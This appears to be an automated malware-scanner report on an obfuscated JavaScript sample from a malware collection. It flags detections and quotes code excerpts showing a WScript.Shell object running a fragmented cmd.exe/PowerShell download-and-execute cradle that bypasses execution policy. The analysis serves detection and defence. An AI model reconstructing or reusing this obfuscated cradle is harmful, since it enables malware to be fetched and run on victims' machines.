Suspicious ^80% javascript-malware-collection Download

20170415_4fa8eb9edfebab3914421c3623516ba6.js

Obfuscated PowerShell download cradle

ActiveXObject constructor referenceToken-array PowerShell command

SHA-2560100ab900130f7af747656a0d3fbe84b0c17273bef304519ae7a02974a301c8c

Evidence

References the WScript.Shell COM object lines 210–220

210:17… x, id, amp) {
211    sign = amp[max];
212    return sign;
213}
214var far = 'WScript.Shell'; /* the revolutionary ideas of Strasser, but added that if the  */
215
216function Skip(fed, AYS, e195) {
⋯4 lines

JavaScript empty-string accumulator initializer lines 274–285

274:3… nction Ante() {
275    var sup = null;
276    return sup;
277}
278var URI = '27077';
279if (Ante() == "f104") {
280    var repo = undefined;
⋯5 lines

Constructs ActiveX object from variable ProgID lines 289–303

19… me = null;
          var into = 22.16;
          var e175 = 'Crop';
          var wild = undefined;
          var _ts = true;
          var city = 1;
      }
  } else {
      var del = new ActiveXObject(far);
      if (URI == "Int") {
          if (r() === false) {
⋯4 lines

References Windows cmd.exe interpreter lines 304–306

21…  = undefined;
          var Ctrl = undefined;
          del[["run"][0]]([DATA(0, "ve", ["cmd.exe /c"]) + Four(0, "ng", [" \"powershell  $nice"]) + port(0, "item", ["='^t).Downl'"]) + h5(0, "sl", [";$Full='^e Pro'"]) + e179(0, "gz", [";$eur='^Set-Executi"]) + j(0, "lgpl", ["onPoli'"]) + even(0, "js_2", [";$Eu='^'',$p';$Eac"]) + Pull(0, "d3", ["h='^t System.N"]) + o(0, "Twi", ["';$Team='^ath);"]) + odd(0, "odt", [" Star"]) + b9eb(0, "Undo", ["t-Proces"]) + la(0, "her", ["s '"]) + wppt(0, "f333", [";$dirs='^$';$jkw='"]) + Meta(0, "JSON", ["^cy By"]) + grep(0, "dark", ["pass -"]) + how(0, "Area", ["Scop';$to"]) + year(0, "f463", ["="]) + Save(0, "L …

MD5 or SHA digest API call line 306

306:682… "auto", ["e'');("]) + With(0, "LEFT", ["New-Objec';$oj='^p"]) + MD5(0, "Pole", ["a"]) + USD(0, "When", ["';$don='^et.Webc"]) + PL(0, "SHOW", ["lie"]) + cid(0, "F33", ["n'"]) + bold(0, "kb", [";$" …